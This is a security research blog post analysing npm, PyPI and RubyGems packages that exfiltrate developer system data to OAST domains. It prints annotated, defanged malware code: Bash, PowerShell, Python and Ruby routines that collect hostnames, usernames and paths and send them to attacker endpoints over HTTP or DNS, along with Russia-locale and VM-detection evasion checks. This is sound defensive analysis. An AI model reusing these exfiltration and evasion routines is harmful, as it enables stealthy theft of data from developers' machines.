Socket researchers uncover how threat actors weaponize Out-of-Band Application Security Testing (OAST) techniques across the npm, PyPI, and RubyGems ecosystems to exfiltrate sensitive data and remotely probe developer environments.
Over the last year, Socket’s threat research team has continually observed and identified malicious JavaScript, Python, and Ruby packages leveraging OAST services such as oastify.com
and oast.fun
to exfiltrate sensitive data to attacker-controlled servers. The same tools and techniques created for ethical security assessments are being misused by threat actors. Originally intended to uncover vulnerabilities in web applications, OAST methods are increasingly exploited to steal data, establish command and control (C2) channels, and execute multi-stage attacks.
OAST for Good vs. OAST for Bad#
Initially developed by PortSwigger’s Burp Collaborator and later adopted by services like Project Discovery’s interact.sh
, OAST tools enable ethical researchers to perform DNS lookups, HTTP requests, and other network interactions beyond traditional testing scopes. Unfortunately, the same powerful capabilities are also co-opted by threat actors, who exploit them to stealthily exfiltrate data or identify pivot points in victims’ systems.
PortSwigger provides burpcollaborator.net
and oastify.com
as default OAST domains, while Project Discovery uses interact.sh
alongside several alternatives (e.g., oast.pro
, oast.live
, oast.site
, oast.online
, oast.fun
, and oast.me
). OAST-based attacks are a dime-a-dozen, and Socket is routinely detecting them in scans for malicious packages.
npm Example: A High-Version Imposter#
Package: adobe-dcapi-web
Threat Actor: npm registry alias “nullljs”
Malicious Endpoint: hxxps://gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com
This npm package pretends to relate to Adobe APIs, using artificially high version numbers (e.g., 99.99.95
—99.99.99
) to deceive developers and automated scripts into trusting it as the “latest” update. The package contains obfuscated JavaScript code that performs checks to determine the system’s location, halts execution if it detects a Russian locale, and identifies virtualization environments. Once these checks are passed, the malicious code exfiltrates sensitive data to oastify.com
.
Socket’s AI scanner flagged adobe-dcapi-web
package as malicious.
The following malicious code snippets have been deobfuscated, decoded, defanged, and annotated with comments to provide insights into the threat actor’s techniques.
function checkIPLocation(e) {
e = "hxxps://ipwhois[.]app/json/" + e;
// Queries ipwhois[.]app with the retrieved public IP to determine location
http.get(e, e => {
let o = "";
e.on("data", e => {
o += e;
});
e.on("end", () => {
try {
// Terminates if the machine is located in Russia (country_code "RU")
if ("RU" === JSON.parse(o).country_code) {
process.exit(1);
}
The code is specifically designed to avoid execution on machines located in Russia — a common tactic employed by threat actors in the region to evade scrutiny from local government and law enforcement agencies.
// Checks which OS (Windows, Linux, or macOS) is running
const detectOSType = () => {
var e = os.type();
return e.startsWith("Windows") ? "Windows" : e.startsWith("Linux") ? "Linux" : e.startsWith("Darwin") ? "Mac" : "UNKNOWN";
};
const os_type = detectOSType();
The code adjusts its behavior based on the operating system and uses PowerShell on Windows or Bash scripts on Linux and macOS.
// Looks for typical VM-related processes (VirtualBox, VMware)
const processesToCheck = [
"vboxservice.exe",
"vboxtray.exe",
"vmtoolsd.exe",
"vmwaretray.exe",
"vmwareuser.exe",
"VGAuthService.exe"
];
The code scans for common Virtual Machine (VM)-related processes, such as those associated with VirtualBox and VMware, to determine if it is running in a virtualized environment — a common technique used by malware developers to evade detection and analysis.
#!/bin/bash
# Collect system information into a variable
exfiltrate="
Username: $(whoami)
Hostname: $(hostname)
Public IP: ${remoteIP}
Time: $(date)
Current Path: $(pwd)
Package Name: $(npm run env | grep 'npm_package_name' | cut -d '=' -f 2)
Kernel: $(uname -a)
"
# Writes the information to a temporary file
echo -e "$exfiltrate" > /tmp/demo.txt
# Exfiltrates the file contents to the oastify.com endpoint
curl --silent -F "content=@/tmp/demo.txt" hxxps://gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com
# Covering tracks by removing the temporary file
rm -f /tmp/demo.txt
The script above, embedded within the malicious code package, is designed to target Linux and macOS systems for data harvesting, exfiltration to the oastify.com
endpoint, and erasing traces of its activity. Similarly, the following PowerShell script implements these functions, specifically targeting Windows systems.
# Retrieves current user, date/time, public IP, and system information
$whoami = whoami
$today = (Get-Date).DateTime
$publicIP = (Invoke-WebRequest -Uri 'hxxps://api.ipify[.]org?format=text' -UseBasicParsing).content
$system = systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
# Prepares temporary file paths for storing and sending data
$filePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "output.txt")
$scriptPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "demo.ps1")
# Saves collected user/system information into a text file
Write-Output "Username: $whoami`nDate: $today`nPublic IP: $publicIP`nSystem Information:" | Out-File -FilePath $filePath -Encoding ASCII
Add-Content $filePath $system
# Sets oastify.com endpoint for exfiltration
$destinationUrl = "hxxps://gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com"
# Uploads the file to the attacker’s server
Invoke-WebRequest -Uri $destinationUrl -Method POST -InFile $filePath -UseBasicParsing
# Removes temporary files to cover tracks
del $filePath
del $scriptPath
PyPI Example: Typosquatting for Silent Exfiltration#
Package: monoliht
Threat Actor: PyPI registry alias “drv0s”
Malicious Endpoints: hxxp://sbfwstspuutiarcjzptfenn9u0dsxhjlu.oast[.]fun
, hxxp://dnipqouebm-psl.cn.oast-cn.byted-dast[.]com
, hxxp://oqvignkp58-psl.i18n.oast-row.byted-dast[.]com
By reversing a single letter, the threat actor created a package monoliht
that closely resembles the legitimate library monolith
. The domains within the malicious script are used to silently collect metadata such as the victim’s hostname, username, and current working directory.
Socket AI Scanner’s analysis, including contextual details about the malicious package.
The following malicious code snippets, defanged and annotated with comments, offer insights into the threat actor’s techniques.
def main():
# Collects system metadata
hostname = platform.node() # Collects the system's hostname
username = getpass.getuser() # Fetches the username of the current user
current_path = os.getcwd() # Retrieves the current working directory
rd_num = random.randint(10000, 99999) # Generates a random number to uniquely identify each request
# Hardcoded malicious URLs for data exfiltration
urls = [
"hxxp://dnipqouebm-psl.cn.oast-cn.byted-dast[.]com", # Malicious URL 1
"hxxp://oqvignkp58-psl.i18n.oast-row.byted-dast[.]com", # Malicious URL 2
"hxxp://sbfwstspuutiarcjzptfenn9u0dsxhjlu.oast[.]fun" # Malicious URL 3
]
# Sends data to each URL
for url in urls:
params = {
"package": "monoliht",
"hostname": hostname, # Sends the hostname
"username": username, # Sends the username
"dir": current_path # Sends the current working directory
}
# Constructs the full URL with encoded query parameters
full_url = f"{url}/realtime_p/pypi/{rd_num}?{urllib.parse.urlencode(params)}"
try:
# Sends an HTTP GET request to the malicious URL
with urllib.request.urlopen(full_url) as response:
logging.info(response.read().decode()) # Logs the server's response
except Exception as e:
logging.error(f"Could not reach {url}: {e}") # Logs errors if the request fails
if __name__ == "__main__":
main()
The use of multiple domains for exfiltrating harvested information is likely intended to enhance the campaign's persistence and resilience against defensive measures. This distributed approach provides redundancy, allowing the threat actor to maintain control even if one endpoint is blocked.
RubyGems Example: DNS-Based Recon#
Package: chauuuyhhn
, nosvemosssadfsd
, holaaaaaafasdf
Threat Actor: RubyGems registry alias “Tu Nombre”
Malicious Endpoint: kc0262r8oypagq3e8f89uaqmodu4i16q.oastify[.]com
These gems contain embedded scripts designed to exfiltrate sensitive information — including external IP addresses, hostnames, user environment variables, current working directories, and folder names — via DNS queries to an attacker-controlled oastify.com
endpoint. Since DNS traffic often appears benign to basic intrusion detection systems, this method allows the threat actor to perform initial reconnaissance with lower risk of detection.
The following malicious code snippets have been defanged and annotated with comments to provide insights into the threat actor’s techniques.
# Retrieves the external IP address of the victim
def get_external_ip
uri = URI('hxxps://api[.]ipify.org?format=json') # Fetches the external IP via the public API
response = Net::HTTP.get(uri) # Sends an HTTP GET request
data = JSON.parse(response) # Parses the JSON response
data['ip'] # Returns the external IP address
rescue => e
puts "Error al obtener la IP externa: #{e.message}" # Logs any errors; translation from Spanish "Error getting external IP"
nil # Returns nil if an error occurs
end
# Sanitizes strings for use in DNS queries
def sanitize_for_dns(str)
str.gsub(/[^w\-\.]/, '_') # Replace invalid DNS characters with underscores
end
# Constructs and sends a malicious DNS query
def send_dns_query
# Step 1: Retrieve the external IP
external_ip = get_external_ip
return if external_ip.nil? # Exit if no IP is retrieved
# Step 2: Gather additional system information
hostname = Socket.gethostname # Get system hostname
user = ENV['USER'] # Get username
path = Dir.pwd # Get working directory
folder = File.basename(Dir.pwd) # Get folder name
# Step 3: Construct the malicious DNS query
query = "#{external_ip}.#{sanitize_for_dns(hostname)}.#{sanitize_for_dns(user)}.#{sanitize_for_dns(folder)}.#{sanitize_for_dns(path)}.kc0262r8oypagq3e8f89uaqmodu4i16q.oastify[.]com"
# Step 4: Send the malicious DNS query to the attacker's oastify.com server
udp = UDPSocket.new # Create a new UDP socket
udp.send('', 0, query, 53) # Send the DNS query to the attacker's domain on port 53
udp.close # Close the socket
end
# Executes the malicious DNS query function
send_dns_query
The script functions as an initial reconnaissance tool, likely used to profile victims in preparation for subsequent attacks.
Outlook and Recommendations#
It’s hard to resist sharing this meme by Dana Epp, also known as SilverStr, an expert in application security through offensive security. Dana highlights the positive potential of OAST, empowering developers and security engineers to proactively identify and address dangerous, often-hidden vulnerabilities.
In stark contrast, threat actors misuse OAST for malicious purposes, repurposing the same techniques ethical hackers rely on to stealthily identify, exploit, and maintain access to vulnerable systems.
While we toast to OAST with the ethical researchers community, we foresee that threat actors will continue to exploit the same out-of-band testing techniques for malicious purposes. We will certainly continue to identify and prevent these kinds of attacks.
Protect your software supply chain with Socket’s free tools, whether you rely on npm, PyPI, RubyGems, or other ecosystems (including Go and Java). Socket’s GitHub app, CLI tool, and browser extension provide real-time insights into the integrity of your supply chain, alerting you to malicious or suspicious components before they can gain a foothold.
MITRE ATT@CK:#
- T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain
- T1059.007 – Command and Scripting Interpreter: JavaScript
- T1036.005 – Masquerading: Match Legitimate Name or Location
- T1027.013 – Obfuscated Files or Information: Encrypted/Encoded File
- T1546.016 – Event Triggered Execution: Installer Packages
- T1567 — Exfiltration Over Web Service
- T1048 — Exfiltration Over Alternative Protocol
- T1082 — System Information Discovery
- T1033 — System Owner/User Discovery
- T1614 — System Location Discovery
- T1083 — File and Directory Discovery
- T1124 — System Time Discovery
- T1590.005 — Gather Victim Network Information: IP Addresses
- T1497.001 — Virtualization/Sandbox Evasion: System Checks
- T1070.004 — Indicator Removal: File Deletion
- T1059.001 — Command and Scripting Interpreter: PowerShell
- T1059.004 — Command and Scripting Interpreter: Unix Shell
Indicators of Compromise (IOCs):#
Malicious npm Package:
Malicious PyPI Package:
Malicious RubyGems Packages:
Malicious OAST Endpoints:
- gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com
- sbfwstspuutiarcjzptfenn9u0dsxhjlu.oast[.]fun
- dnipqouebm-psl.cn.oast-cn.byted-dast[.]com
- oqvignkp58-psl.i18n.oast-row.byted-dast[.]com
- kc0262r8oypagq3e8f89uaqmodu4i16q.oastify[.]com